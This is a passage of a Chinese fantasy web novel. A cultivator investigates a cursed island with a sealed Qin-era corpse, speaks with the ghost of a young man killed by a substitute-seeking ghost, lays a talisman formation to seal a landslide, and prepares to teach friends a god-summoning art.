古德想到自己怪不得之前看到“玄武负碑”格局和联想到**之物时,有种莫名的熟悉感。
看来,他是提前介入了剧情,而且因为现实世界的复杂性,这个剧情似乎也发生了一些偏差,比如那道关键的山体滑坡,在电影里可能没有或者不是这个时间点出现。
但随即,古德的思维并没有停留在简单的剧情上。
当这个故事从电影设定转变为现实逻辑时,他敏锐地察觉到了其中充满了不合常理的疑点。
如果站在普通人的角度,遇到僵尸,请高人**,似乎顺理成章。
但站在古德如今的高度,以修行者的视角来看,这个故事就显得漏洞百出。
最大的疑点在于那个道长的行为逻辑。
一个真正有道行、以除魔卫道为己任的正派修士,遇到一具刚刚苏醒、尚未成气候的僵尸,第一选择会是什么?
必然是趁其弱小,设法将其彻底毁灭,挫骨扬灰,以绝后患!
怎么会选择费力不讨好地修建复杂墓穴、设置机关、将其“封印”起来?
封印意味着需要持续消耗能量维持,而且随着时间流逝,封印会减弱,而被封印的邪物却可能在地下吸收阴气地脉,变得越来越强!
这简直是养虎为患,绝非正道所为。
第二个重大疑点,就是那几件“宝物”。
钟馗宝剑,一听就是厉害的法器。
那个道长怎么会如此“大方”,将这等随身重宝留在墓穴里,美其名曰“留给后人除魔”?
这不符合常理。
除非……他别有目的。
一个大胆的推测在古德脑海中形成:那个道长,很可能心怀不轨!
他看上的,或许根本不是那些金银财宝,而是那具秦尸本身!
电影里说那是秦始皇的尸体,古德觉得纯属无稽之谈,更可能是秦代的某位将军或者重要人物的尸体,被刻意装扮或者因其特殊而被称为“秦始皇尸”。
一具保存完好、来自秦代的古尸,对于某些修炼邪法、擅长炼尸术的人来说,简直是可遇不可求的顶级宝材!
那道长很可能就是看中了这具秦尸的潜力,想要将其炼化成强大的僵尸傀儡供自己驱使。
但当时可能时机未到,秦尸对他当时没有帮助,于是他编造了一个“三百年诅咒”的故事,**、李、杨三姓的祖先修建墓穴,实则是一个大型的“养尸地”!
他将秦尸和冤魂财宝一同封印,是利用冤魂的怨气和财宝的阴气来滋养秦尸,同时用钟馗宝剑和镇尸钱作为控制枢纽。
他可能是打算留给自己的传人,等时机成熟再来收取这具成品僵尸。
然而,人算不如天算。
那道长可能万万没想到,后来的世界会经历末法时代,灵气急剧衰退。
这就好比放风筝断了线,他或者他的传人可能因为灵气枯竭无法修行,或是断了传承,或是根本来不及在秦尸成熟前赶来收取。
结果就是,这具秦尸在无人干预的情况下,在地底被怨气、阴气和可能存在的特殊地脉滋养了整整三百年!
天知道它现在变成了什么怪物!
电影里那秦尸好像能飞,那已经是飞僵的层次了。
真正的飞僵,是僵尸修炼千年的形态,能飞行,会法术,不惧阳光刀剑,需要道家至高法器或天雷才能**。
电影里能被普通人用搞笑方式解决,肯定有夸张和简化成分。
但现实中,如果这秦尸真的存在,并且被养了三百年,其实力绝对不容小觑,至少也是跳僵巅峰,甚至可能产生了某些向飞僵过渡的变异能力。
“剧情只能参考,现实……往往更残酷。”古德心中暗道。
眼下的情况,显然比电影里复杂和危险得多。
古德沉浸在自己的推理中,望着海岛沉默不语,手指无意识地在琴盒上轻轻敲击。
这可把旁边的钱老板急坏了,他脑门上的冷汗涔涔而下,以为古德也被这事吓住了,觉得无能为力。
谢潮也察觉到了古德的异常沉默,但他比钱老板更了解古德,知道古德这是在深度思考,便用眼神示意钱老板稍安勿躁,不要打扰。
过了好一会儿,古德才从纷繁的思绪中回过神来,眼中恢复了清明和冷静。
既然知道了问题的根源,还有提前知道了剧本的优势,那么主动权就掌握在自
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己手中了。
这一次,优势在我!
他转向焦急万分的钱老板,语气沉稳地说道:
“钱老板,你的坦白很及时。现在看来,你的判断没错,岛上的异变,确实与那地下墓穴的封印松动有关,是那秦尸即将破关的前兆。
要想彻底解决岛上的死局,光靠我们几个人是不够的,需要你动员全部村民,一起来帮我,至于做什么,后面我会安排。”
钱老板一听,如同抓住了救命稻草,连忙点头如捣蒜:
“古大师您说得对!全听您的安排!只要您能救我们全岛老少,要我做什么都行!”
他生怕筹码不够,又急忙补充道:“还有……还有墓穴里那些祖先留下的财宝,只要事情解决,我钱某人分文不取,尽数奉送给古大师和谢sir作为酬劳!”
古德闻言,挑了挑眉。这钱老板倒是上道,懂得下血本。不过,古德也不是贪得无厌之人,何况这次行动风险不小,也需要团结其他人。
于是他摆了摆手,淡然道:“钱财是身外之物,眼下最重要的是解决问题。至于酬劳,等事成之后,按出力多少公平分配即可,我们不会让你吃亏,也不会独吞。”
钱老板见古德如此通情达理,更是感激涕零,连声道:“是是是,古大师高义!全凭大师吩咐!”
古德抬头看了看天色,又感受了一下空气中愈发明显的阴浊之气,心中计算着时间。
“我刚观察了地气变化,结合你所说的三百年之期,那秦尸破封的关键时刻,恐怕就在这一两天之内了。时间紧迫,但还来得及让我们做些准备。”
他指向后山祖坟的方向,下达了第一个指令:
“当务之急,是先去祖坟那边。那道滑坡切断了阴脉,使得墓穴中的阴煞之气更容易泄出,也更容易吸引外界的游魂野鬼。
我需要在那个‘缺口’处做一些布置,暂时封堵一下,延缓阴气泄漏的速度,也防止一些不干净的东西从那里钻出来,给我们添乱。”
古德的话语冷静而有条理,仿佛一切尽在掌握,让原本惊慌失措的钱老板和心情沉重的谢潮,都莫名地感到了一丝安心。
第149章 意料之外的熟人
钱老板听到古德的指示,此刻已将全部希望寄托在这位年轻大师身上,姿态放得极低,连忙躬身应道:
“是是是,古大师,请跟我来,这边走。”
岛屿本就不大,从他们所在的小山丘到后山的祖坟地,直线距离并不远。
但山路蜿蜒,穿行在略显阴郁的林木之间。
古德手持罗盘,一边走一边仔细感应着地气的流向。
罗盘上的磁针受到紊乱气场的影响,微微颤动着,但大方向始终指向那道山体滑坡所在的位置。
他需要先到那个“伤口”处实地勘察。
一行人沿着石板小径向上走,两旁是年代久远的墓碑,有些修葺得还算整齐,有些则已经残破,爬满了青苔,在午后斜阳的照射下,拉出长长的影子,平添了几分肃杀与荒凉。
正当他们经过一片相对集中的墓区时,古德眼角的余光瞥见不远处的一座新坟前,站着一男一女两个身影。那男的背影看着有几分眼熟。
古德停下脚步,定睛望去,心里不由得“咦”了一声,泛起一丝疑惑:这小子怎么会在这里?
他朝着那个方向喊了一声:“喂!前面那位,是郑立吗?”
听到喊声,那对男女转过身来。
男的果然是郑立,他穿着一件略显皱巴的衬衫,脸上带着些疲惫和悲伤。
而他身边那个紧紧抓着他胳膊、脸色有些苍白的年轻女子,正是他的女朋友李红。
郑立看到古德,脸上瞬间露出了极其惊讶的表情,张大嘴巴,几乎能塞进一个鸡蛋:
“阿德?!我的天!你怎么会在这里?!这也太巧了吧!”
古德带着谢潮和钱老板走了过去,心里忍不住暗暗吐槽:“这货难道是什么‘灵异事件吸引体质’吗?怎么哪里有**烦,他就出现在哪里?他也真是够倒霉催的。”
郑立见到古德,像是见到了主心骨,原本愁苦的脸上挤出一丝笑容:
“阿德,真的是你啊!太好了!”
但随即笑容又收敛起来,叹了口气,语气低沉地说道:
“唉,我是来看我堂弟的。我们家里最近真是流年不利,倒霉事一桩接一桩。”
他指了指面前那座明显是新立的墓碑,上面刻着“郑乐(阿Ken)之墓”:
“我堂弟阿Ken,前阵子跟几个朋友来这个岛上玩,结果……人就没了。他朋友说是他晚上喝多了酒,自己乱跑,在林子里面迷了路,可能是被什么吓到了,就……就这么没了。
他朋友在这里给他简单立了个坟。我心里难受,就带着阿红过来看看他,给他烧点纸钱。”
古德听到“阿Ken”这个名字,再结合这场景,立刻想起来了。
这不就是《阴阳路》系列里那个《抄墓碑》单元的主角吗?
那个因为和朋友打赌,半夜去坟场抄墓碑,结果被朋友恶作剧吓死,不过更可能是被邪祟找了替身个,就是那个倒霉蛋。
原来竟然是郑立的堂弟!
这郑家的人丁倒是挺兴旺,可惜运气似乎都不太好。
不过电影里阿ken明显是被不靠谱的朋友坑了,现在**还被说成是自己乱跑吓死的。
这就是交友不慎的坏处。
就在这时,古德敏锐地感觉到身旁的阴气微微一荡。
他转头看去,只见一个半透明的、穿着时髦T恤和牛仔裤的年轻鬼魂,正一脸茫然地飘荡过来,恰好停在了郑立的身旁。
这鬼魂的模样,和郑立有五六分相似,应该正是刚死不久的阿Ken!
他又低头看看自己的墓碑,再看看正在为他烧纸的郑立和李红,脸上带着一种好奇和悲伤。
古德见状,不由得笑了,这真是说曹操,曹操就到。
他仔细感应了一下阿Ken的魂体状态,微微有些惊讶。
这阿Ken**应该没多少天,魂体竟然已经相当凝实,达到了恶鬼的层次!
这岛屿上弥漫的浓郁阴气,对于鬼魂来说,还真是个“修炼宝地”啊,滋养效果惊人。
不过,虽然能量层级达到了恶鬼,但阿Ken的魂体却异常干净,周身并没有寻常恶鬼那种怨气冲天的黑红色煞气,眼神也显得很清澈,像大学生般的单纯。
古德笑着对正在烧纸的郑立说道:
“阿立,别光顾着烧纸了。你回头看看,你堂弟阿Ken正好过来了,就在你旁边站着呢。要不要跟他打个招呼,聊几句?”
郑立一听,先是一愣,随即脸上露出了惊喜的神色。
经历过之前几次事件,他现在对见鬼这件事已经有了一定的免疫力,此时非但不害怕,反而有种又能见到逝去亲人的期待感。
他连忙点头,急切地说道:
“真的?阿Ken来了?阿德,快!快让我见见他!我有好多话想问他呢!”
古德又看向
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旁边紧紧抓着郑立胳膊、脸色发白的李红,问道:
“阿红,你要不要也见一见?”
李红吓得浑身一哆嗦,脑袋摇得像拨浪鼓一样,声音带着哭腔:
“不……不用了!阿德,我……我看看阿立就好了!”
让她见鬼?还不如直接吓晕过去算了。
郑立有些不好意思地挠了挠头,对古德说:
“阿德,阿红胆子小,就算了,别勉强她了。”
古德点了点头,表示理解。
不过他心里想,在这座岛上,接下来两天,恐怕想不见鬼都难,阿红这胆子,得提前做点心理建设才行。
古德不再多言,并指如剑,指尖凝聚一丝微不可查的法力,迅捷而又轻柔地在郑立眼前划过,低喝一声:“灵台清明,阴阳洞开!敕!”
郑立只觉得双眼一阵微凉,仿佛被清凉的泉水洗过一般,视线瞬间清晰了许多。
他下意识地眨了眨眼,再定睛看向身旁。
果然,堂弟阿Ken那半透明的身影就站在那里,正用好奇和疑惑的目光打量着他和古德!
郑立脸上顿时露出灿烂的笑容,像是平时打招呼一样,对着阿Ken挥了挥手:
“嗨!阿Ken!怎么样?当鬼的感觉如何?**不习惯啊?”
阿Ken被这突如其来的问候吓了一跳,鬼体都微微晃动了一下,脸上写满了震惊和不可思议,结结巴巴地回应:
“立……立哥?!你……你能看见我?!你能听到我说话?!”
他成为鬼魂后,还是第一次有人类能直接看到他并跟他对话。
郑立看到阿Ken那副惊呆了的模样,觉得又好气又好笑,乐呵呵地说道:
“废话!看不见你怎么跟你打招呼?瞧你那点出息,当鬼了还这么大惊小怪的。我告诉你,这里能看见你的可不止我一个。”
他指了指古德,“这位是古德大师,厉害着呢!”
接着,郑立收起笑容,表情变得认真起来:
“阿Ken,哥正好有事问你。你老老实实告诉我,那天晚上到底发生了什么?你怎么会一个人跑到林子里去?
问清楚了,哥也好请古大师帮忙,早点送你去投胎转世,总比你现在这样在外面游荡着强,对不对?”
阿Ken看着一脸关切的堂哥,又看了看旁边气度不凡的古德,茫然的鬼脸上,终于露出了一丝委屈的神情。
第150章 准备布设镇煞局
阿Ken的鬼魂飘在那里,脸上露出既委屈又带着点后怕的神情,开始讲述自己的遭遇。
他的声音带着一种鬼魂特有的空灵和细微的回响,在寂静的坟场里显得有些瘆人。
“立哥……我……我真是倒霉透了!”
阿Ken的鬼魂扁了扁嘴,像个受了欺负的孩子。
“那天晚上,小波、大B他们两个联合三个女生非跟我打赌,说我时不时胆子小,不敢半夜去坟场抄墓碑……我,我好面子,就硬着头皮答应了……”
他顿了顿,鬼脸上浮现出愤怒:
“谁知道!他们根本不是想试我胆子,是合伙耍我!他们早就串通好了,偷偷找了三个临时女演员,把墓碑上的照片和名字都临时换成了那三个女人的!
我正专心抄着,看到那三个女人贴在墓上的照片,顿时吓坏了,我当时还想告诉小波、大B那三个女的是鬼!”
郑立听到这里,脸色已经沉了下来,拳头不自觉地握紧。
阿Ken继续诉说着,语气带着恐惧:“我拼命跑……可那晚的坟场邪门得很,我怎么跑都像是在原地打转,怎么都跑不出去!
就在我快跑断气的时候,看到一个穿着白衣服、长头发的女人,站在一棵树底下,对着我笑嘻嘻地招手……”
他的鬼体微微颤抖了一下:“我那时候都吓懵了,只想找人救命,就朝她跑过去……结果她笑得更开心了,用一种特别轻、特别飘的声音跟我说……说.......
‘谢谢你啊小帅哥,我终于可以离开这个鬼地方了……’然后,我就感觉眼前一黑,什么都不知道了……等我再有意识的时候,我就变成现在这个样子了……”
郑立听完,气得额头青筋直跳,猛地一拍大腿:
“岂有此理!小波那两个混蛋!他们回来还骗我说是你自己喝醉酒乱跑出的意外!原来是他们搞的鬼!还害你被……被脏东西害死!”
他心疼地看着自己堂弟的鬼魂,又气又怒。
发泄完怒火,郑立才想起关键问题,连忙转向古德,带着请教的口吻问道:
“阿德,阿Ken说的那个笑嘻嘻的女人……到底是什么东西?”
古德一直在旁边安静地听着,此时见郑立问起,便用一种见怪不怪的平淡语气解释道:
“还能是什么,找替身的呗。有些横死或者有执念的鬼魂,被困在死亡地无法超生,就需要找一个活人用同样的方式死在那里,它们才能得以解脱去。
你堂弟运气不好,正好撞上了,阳气弱,被吓的心神失守,就被趁虚而入了。”
他言简意赅,直接明了阿Ken死亡的真正原因。
说完,古德拍了拍郑立的肩膀:
“事情既然弄清楚了,你们哥俩好好聊聊吧,叙叙旧。我这边还有正事要办。等你们聊得差不多了,我再过来,送你弟去该去的地方,老这么游荡着也不是办法。”
他顿了顿,想起当前的局势,又补充道:
“另外,阿立,聊完了你就带着阿Ken,还有你女朋友阿红,一起去找阿星和子朗他们汇合。这次的事情,说起来也不知道算你倒霉还是走运,撞上了这档子事。
这座岛现在的情况比较特殊,可能已经许进不许出,阴阳紊乱,气场封闭。不过你也不用太担心,有我和阿潮他们在,会尽力保障大家安全的。”
郑立一听“许进不许出”,脸色“唰”地一下就白了,惊慌地“啊”了一声。
他怎么这么倒霉!
怎么又又又撞鬼,这次更是带着女朋友一起陷进来了!
他心里叫苦不迭,但看到古德沉稳的样子,又稍微安心了一点。
古德没再理会郑立丰富的心理活动,对身旁一直安静观察、默不作声的谢潮和钱老板示意了一下,三人带着几名壮汉,继续朝着山体滑坡的核心区域深入。
越靠近那片滑坡地带,环境越发显得破败。
泥土、碎石和断木混杂在一起,形成一道刺眼的伤疤,与周围绿意盎然的山林格格不入。
空气中的温度也明显比周围低了几度,弥漫着一股土腥味混合着难以言喻的阴冷气息,让人皮肤起鸡皮疙瘩。
罗盘在这里晃动得更加厉害。
谢潮看着这片狼藉的景象,感受着那股令人不适的阴寒,眉头紧锁,问古德:
“阿德,这地方阴气这么重,接下来我们该怎么做?需要准备什么?”
古德没有立刻回答,而是背着琴盒,小心翼翼地沿着新形成的滑坡边缘缓步勘察。
他的步伐带着某种韵律,仿佛在丈量着无形的尺度。
鞋底踩在松软潮湿的泥土上,发出轻微的咯吱声,在这片突然寂静下来的山林中显得格外清晰。
古德俯身,用修长的手指捻起一撮土壤,在指腹间细细搓揉,感受其湿度、质地与其中蕴含的微弱地气。
泥土的冰凉与隐约的阴寒之气透过指尖传来。
再仰起头,审视着山脉的走向、林木的荣枯,以及天际云气的聚散流动。
周遭的空气中弥漫着泥土的腥气与一种难以言喻的、令人心神不宁的压抑感。
钱老板及其手下屏息凝神,不敢发出丝毫声响,生怕打扰了古德的勘察。
只有谢潮目光沉静,默默观察着古德每一个专注的细节,眼中流露出若有所思的神色。
此刻,古德脑海中,《青囊中书》的堪舆要诀、历代先贤的风水心得,与他自身积累的实践经验正在飞速地碰撞、推演。
约莫一炷香的功夫,他终于在滑坡东南方位的一处相对稳固之地停驻脚步。
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这里的气场虽乱,却隐约有一丝可堪引导的契机。
他眼中灵光一闪,摸着下巴,已然洞悉了此地的关窍。
这处滑坡并非偶然,其下正是阴煞之气长期侵蚀、最终冲破地脉束缚的“煞口”,也是导致整个祖坟区域地气狂暴紊乱的枢纽所在。
古德此时心中已然有了定计,此地煞气虽重,却暗合四象轮转之机,正是布设镇煞局的绝佳所在。
"夫镇煞之法,其本在于调和阴阳,贯通天地。"
他转身面对众人,声音清越如山涧流水,"当今灵气虽衰,然周天星斗之力亘古长存。青龙、白虎、朱雀、玄武四象,上应二十八宿星官,乃是天地间最本源的镇煞之力。"
他稍作停顿,见众人面露困惑,便继续解释道:
"我决定就地取材,在此处布下一个简易却有效的''四象镇煞局''。"
看着众人依旧迷茫的神情,古德耐心细致地解释道:
“东方青龙七宿(角、亢、氐、房、心、尾、箕)属木,主生机勃发;西方白虎七宿(奎、娄、胃、昴、毕、觜、参)属金,司肃杀收敛;
南方朱雀七宿(井、鬼、柳、星、张、翼、轸)属火,掌光明净化;北方玄武七宿(斗、牛、女、虚、危、室、壁)属水,职寒凝镇守。
此四象星力若能引动,足以暂时封禁此地的阴煞泄漏,为后续解决秦尸的问题争取时间。”
钱老板虽然听得云里雾里,但还是果断表示:
"古大师,我们不太懂这些玄妙的道理,你就直接告诉我们应该怎么办就好了。"
古德无奈地笑了笑,随即开始具体部署:
"阿潮,钱老板,需要劳烦诸位备齐法物。首要者,寻四块拳大顽石,须合四象之色。"
他详细说明每块石料的讲究:
"东方青龙位需用青冥石,象征乙木生机,最好取溪涧水润之石;西方白虎位用素白石,禀承庚金肃杀之气,当选山阳处风化的石英;
南方朱雀位用赤焰石,应丙火炎上之象,须采含铁质的红砂岩;北方玄武位用玄墨石,合壬水润下之德,则用深谷中的玄武岩为佳。"
他特别补充道:"若石料色泽不纯,也无妨,届时可以朱砂勾勒四象形貌以补足。"
钱老板闻言松了口气,庆幸自己平日有收藏奇石的爱好,否则短时间内还真难凑齐这些特殊的石料。
古德继续吩咐:"除此之外,还需要一丈二尺明黄色布帛,以及上好的朱砂。"
钱老板不敢怠慢,立刻吩咐手下腿脚麻利的壮汉速回住处取物。
第151章 天圆地方,律令九章!
在等待期间,古德也没闲着。
他折下一段木枝,在选定的阵法中心位置细心清理出一片平整的地面,随后以枝代笔,在地面上勾勒出一个规整的太极八卦图形作为阵基。
他的动作沉稳而精准,每一笔都暗合天地至理。
不多时,所需物品均已取来。
古德首先取出罗盘,仔细勘定四正方位。
他屏息凝神,调整罗盘方位,直至指针稳定指向正南正北。
接着,他指挥众人按照东、南、西、北四个正方位,将找来的四色石头分别埋入土中,深度恰到好处,只露出小半截石身。
每埋下一块石头,他都会并指用法力在上面虚画一个对应的星宿符印,口中默念安镇咒语,将其与遥远星空中的星力初步勾连。
随后,他让两名壮汉将那张明黄色布帛在清理出的阵基上完全摊开。
布帛在微风中轻轻飘动,映着阳光,泛着柔和的光泽。
古德亲自将朱砂倒入一个小碟,加入几滴无根水和酒精,开始缓缓研磨。
他的动作不疾不徐,直至朱砂与水完全交融,形成浓稠适中的朱砂墨。
他深吸一口气,凝神静气,提起那支狼毫符笔,饱蘸墨汁。
下一刻,他手腕悬动,笔走龙蛇,动作如行云流水,却又带着一股沉凝的力道。
笔尖在黄布上划过,留下殷红而清晰的轨迹。
符头先画“三勾”,象征道祖敕令在此。
主符部分,则以磅礴气势写下“镇煞”两个大字,稳稳压住下方的“封阴”二字。
在两字之间的核心区域,他精心勾勒出一个繁复而玄奥的“井”字符纹,寓意如同封井一般,将泄漏的阴煞之气牢牢堵住。
整道符箓一气呵成,红光隐隐,灵性自生。
画毕,古德示意众人将这张巨大的镇煞封阴符平整地覆盖在阵法中心,恰好盖住下面的太极八卦图。
一切准备就绪。
古德退后几步,站在阵法边缘,神色肃穆。
他双手快速结出几个复杂的手印,体内法力涌动,口中朗声念诵启动阵法的咒诀,声音清越,带着一种奇特的韵律,在山谷间回荡:
“天圆地方,律令九章!吾今下镇,万阴伏藏!铁柱铜锁,封禁鬼门!敢有违逆,押送酆都!急急如律令!敕!”
随着最后一声“敕”字出口,他剑指猛地指向地上的黄布符箓!
“嗡——”
一声轻微的震鸣响起,只见那巨大的黄布符箓表面,骤然亮起一层柔和却坚定的金黄色光芒!
光芒顺着符文的笔画流转,仿佛有生命一般在布帛上流动,瞬间激活了整个符箓。
紧接着,一道无形的能量波动以符箓为中心,如同水波纹般向四周扩散开来,扫过整个滑坡区域。
空气中仿佛泛起肉眼难见的涟漪,所过之处,阴霾尽散。
古德毫不停歇,手诀再变,引动四方埋设的星宿石,口中再次喝道:
“四象镇煞,阴阳逆生!生门关闭,死户莫开!锁!”
东、南、西、北四个方位埋设的石块微微震动,隐约有四道极其微弱、却带着星辰威严的气息冲天而起,与中央的符箓之力交织在一起,形成一个无形的力场,将整个滑坡缺口笼罩其中。
霎时间,周围的人都清晰地感觉到,那股一直萦绕不散的阴森寒意仿佛被一只无形的大手猛地推开了!
原本有些灰暗的光线似乎都明亮了几分,空气中令人压抑的粘稠感消失了,盛夏下午的温热气息重新回归,甚至能听到远处传来的几声鸟鸣。
“神奇!太神奇了!”
钱老板忍不住低声惊呼,擦了一把额头上的汗,也不知是热汗还是冷汗。
他身后的壮汉们也都面面相觑,脸上写满了敬畏。
谢潮虽然见识过古德的手段,但每次见到这种玄奇景象,依然感到震撼。
古德缓缓收功,感受了一下阵法稳定运行的气场,满意地点了点头。
他转向一脸敬佩
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的钱老板,吩咐道:
“钱老板,这个阵法是临时性的,需要人看守。你安排几个胆大心细、阳气旺的小伙子,轮流在这里值守,主要是看着这张黄布和四周的石头,别让人或者动物给破坏了。
另外,最好尽快搭个简单的棚子或者小屋,把这地方遮起来,万一下雨,符纸被淋湿就麻烦了。”
说着,他从随身挎包里掏出五张折叠好的黄色护身符,递给钱老板:
“这五张护身符,给你安排值守的人贴身带着,能辟邪保平安。”
钱老板连忙双手接过符箓,如同捧着珍宝,连连点头:
“古大师放心!我一定安排妥当!棚子我马上让人搭,用最快的速度!”
他小心翼翼地将符箓收好,然后眼巴巴地看着古德,脸上堆起讨好的笑容,搓着手道:
“那个……古大师……这护身符……能不能……也卖给我一张?我出钱!十万……不,十五万港币一张!您看行不行?”
他见识了古德的真本事,对这护身符的效果深信不疑,生怕自己没份。
古德有些意外地看了钱老板一眼,没想到他会主动提出购买,而不是想办法克扣手下的。
看来这老狐狸虽然有自己的算计,但在保命这件事上倒是很清醒。
古德也不是矫情的人,既然对方诚心要买,他也没理由拒绝。
他笑了笑,又拿出一张护身符递给钱老板:
“行,钱老板既然开口,那就卖你一张。价钱就按你说的,事后一起结算。”
钱老板大喜过望,如同得了什么天大的好处,小心翼翼地接过符箓,贴身放好,嘴里不住地道谢:“谢谢古大师!谢谢古大师!”
随后,他立刻精神抖擞地转身去安排人手,一边指挥壮汉们赶紧砍树搭棚子,一边琢磨着要挑哪几个最可靠的小伙子来负责这个重要的看守任务。
一时间,这片刚刚被**下来的煞口,竟然显得有几分忙碌和……生机勃勃。
第152章 再一次请神
古德与谢潮、钱老板一行人从后山祖坟地返回临时落脚的四合院时,夕阳已将天际染成一片橘红。
院子里颇为热闹,周星星、于子朗、马季等人早已完成任务归来,正围坐在石桌旁喝水休息,交流着各自探查到的情况。
郑立也带着他那位已成鬼魂的堂弟阿Ken待在院角阴凉处,低声说着话。
周星星则像个包打听,一会儿凑到于子朗那边问问海边有什么发现,一会儿又跑到郑立旁边,好奇地打量著阿Ken的鬼魂,嘴里还啧啧称奇。
一见古德和谢潮进门,众人立刻围了上来,七嘴八舌地问道:
“德仔(阿德),怎么样?这个海岛什么情况?”
“阿潮,严重不严重啊?”
古德抬手虚按了一下,示意大家安静。
他和谢潮走到院子中央的石凳坐下,早有眼力见的马季递过来两杯凉茶。
古德喝了一口,润了润嗓子,然后将钱老板所述的三百年秘辛、秦尸诅咒、以及刚才勘察发现的“阴龙破局”风水恶变,言简意赅地向众人说明了一遍。
随着他的叙述,院子里的气氛逐渐变得凝重。
除了周星星这个乐天派,其他人的脸色都沉了下来。
他们虽然都是处理灵异事件的,但牵扯到数百年的诅咒、可能已成气候的秦尸、以及整个岛屿风水格局的崩溃,这种级别的危机,显然超出了日常小打小闹的范畴。
周星星却是一拍大腿,脸上露出兴奋的神色:
“哇!这么大单案子?秦尸出世,风水崩坏,拯救全岛!这要是让我们搞定了,回去总部,那还不给我们记个大功?升职加薪,指日可待啊!说不定还能上电视接受采访呢!”
他仿佛已经看到了自己接受鲜花和采访的场景。
古德无奈地瞥了这个官迷加活宝一眼,没好气地打断他的遐想:
“阿星,先别想着升官发财了,想想怎么保住小命再说。眼前的麻烦可不小。”
他收敛笑容,拍了拍手,神色变得严肃,开始部署任务:
“情况大家都清楚了,时间紧迫。接下来,我们分两步走。第一步,先肃清岛上已经冒出来的各种邪祟,稳定局面,避免它们趁乱害人或者给秦尸破封添乱。
第二步,也是关键的一步,我们要去那个地下墓穴的入口,进去布阵,争取在秦尸彻底脱困前,把局势控制在我们手里。”
他目光转向谢潮和周星星,点名道:
“阿潮,阿星,你们俩经验丰富,各自带一队人。阿潮,你带上莫作栋,负责清理村落周边和居民区出现的灵异现象,重点是安抚受惊的村民,处理那些新死的、怨气不大的游魂。
阿星,你和马季还有石敢当一组,带上部门的外勤人员,去处理后山祖坟地附近、以及沿海那些阴气较重、可能已经形成威胁的恶鬼或精怪。记住,安全第一,遇到硬茬子不要蛮干,及时呼叫支援。”
谢潮沉稳地点了点头,表示明白。
周星星也收起了嬉皮笑脸,拍了拍胸脯:
“放心啦德仔,捉鬼拿妖,我周星星最在行了!保证完成任务!”
谢潮有些疑惑地看向古德:
“德仔,我们都出去肃清邪祟了,那你呢?你准备做什么?”
古德嘴角勾起一抹意味深长的笑容,说道:“我?我给你们找几个强力帮手。”
他的目光随即落在了没有被安排具体任务的于子朗、高彦博,以及站在一旁旁听的郑立身上。
这三个人,各有特点,特别是他们都具备修炼请神术的潜质。
古德走到三人面前,神色认真地说道:
“子朗,高sir,还有阿立。有件事,我想问问你们的意见。我之前传授给阿潮和阿星他们一门请神术,可以在关键时刻借助神明之力应对危局。我看你们三位的资质,都很适合修炼这门术法。”
他先看向于子朗,于子朗眼睛一亮,显然对这种神奇的法术充满好奇和兴趣,没等古德多问,就抢着表态:
“阿德!我当然愿意学!这么酷的法术,我早就想试试了!”
古德笑了笑,对于子朗的反应并不意外。
他接着看向高彦博和郑立,语气变得郑重了些:
“高sir,阿立,尤其是你们二位,我需要特别说明一下。你们现在还是纯粹的普通人,一旦踏出这一步,学习了请神术,就意味着你们正式步入了‘玄门’的边缘。
今后的人生轨迹可能会彻底改变,会接触到更多寻常人无法理解的世界,甚至可能无法再回到完全平静的生活。所以,我给你们选择的权利。”
他顿了顿,给予他们思考的空间,然后补充道:
“如果你们选择不学,完全没关系,我们依然会尽力保护你们的安全,直到这次事件结束。但一旦决定学习,就没有回头路了,希望你们考虑清楚。”
郑立听完,几乎没有任何犹豫,脸上瞬间露出狂喜之色!
他等这个机会等了太久了!
一直以来,他都因为自己容易撞鬼的体质而担惊受怕,连保护女朋友都觉得力不从心。
如果能拥有像古德、谢潮他们那样的本事,那才是真正的安全感!
他立刻激动地大声说道:
“阿德!不用考虑了!我学!我一百个愿意学!你说怎么做,我就怎么做!只要能让我有本事保护自己和身边的人,再苦再累我都愿意!”
古德赞许地对郑立点了点头,认识这么久,郑立的人品也是古德认可的。
然后,他将目光投向了高彦博。
高彦博的脸上露出了明显的纠结和挣扎。
他是一位崇尚
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科学和理性的法证专家,虽然最近接触的灵异事件打破了他的认知,但要他彻底投身于这个神秘莫测、充满未知的领域,还是让他感到极大的犹豫和不安。
这不仅仅是学习一门法术,更是对他过往世界观和人生道路的彻底颠覆。
古德看出了他的挣扎,并没有催促,而是温和地说道:
“高sir,不必有压力。这样吧,我先给已经决定的子朗和阿立准备修炼所需的神像。在这个过程中,你都可以慢慢考虑,想清楚了再告诉我答案。不过.....”
古德提醒道,“一旦我开始为他们举行‘请神’的仪式,与神明建立了初步联系后,为了避免气场干扰,你就不能再中途加入了。所以,你的考虑时间,到那时为止。”
高彦博闻言,感激地看了古德一眼,深吸一口气,郑重地点点头:
“谢谢你,阿德。我明白了,我会认真考虑,尽快给你答复。”
就在这时,院门外传来一阵脚步声。
钱老板派来的几名壮汉,扛着几段粗大的木料和一个小工具箱,走了进来。
为首一人恭敬地对古德说道:“古大师,钱老板让我们送来的。这是库房里存放的几段老料,是百年的黄花梨木,还有一套齐全的刻刀工具,您看看合不合用?”
古德走上前,仔细查看。
木料色泽深沉,纹理细腻美观,隐隐散发着一股淡淡的清香,确实是上好的黄花梨木,木质坚硬且蕴含灵气,是制作神像的佳品。
刻刀也保养得很好,刀刃闪着寒光。
他满意地点点头:“钱老板有心了,东西很好,正合用。”
他让壮汉们把木料和工具放在院子中央早已准备好的一张宽大木工桌上。
谢潮见古德已有安排,便不再耽搁,招呼周星星、马季等人,清点装备,准备出发执行肃清任务。
院子里顿时忙碌起来,充满了临战前的紧张气氛。
古德则走到工桌前,轻轻抚摸着光滑冰凉的黄花梨木料,眼中闪烁着思索的光芒。
他在考虑,该为于子朗和郑立选择哪位神明作为他们请神的对象。
郑立的话.....
古德看向一旁满脸期待和紧张的郑立,心里笑了笑。
郑立这家伙,在古德记忆中的那些影视形象里,古添乐大多扮演的是武侠人物,似乎与高阶神明缘分较浅。
他也没有其他选择,就这么一个大号神话角色申公豹,也就不挑了。
至少申公豹也是远古大神级别的。
于子朗的话,可选择就多了一个,他的大号有韩湘子和太白金星。
古德考虑了一下,觉得还是太白金星看起来战力更高。
思绪既定,古德深吸一口气,拿起一把平口刻刀,手腕沉稳,目光专注地落在第一块木料上。
第153章 太白金星,申公豹,钟馗归位
夕阳的余晖透过院中的老树,在青石板上投下斑驳的光影。
院子里静悄悄的,只有刻刀与木料接触时发出的“沙沙”声,规律而富有韵律。
古德全神贯注,手中的刻刀仿佛有了生命,在他指尖灵活地游走。
木屑如同金色的雪花般簌簌飘落,散发出黄花梨木特有的淡淡清香。
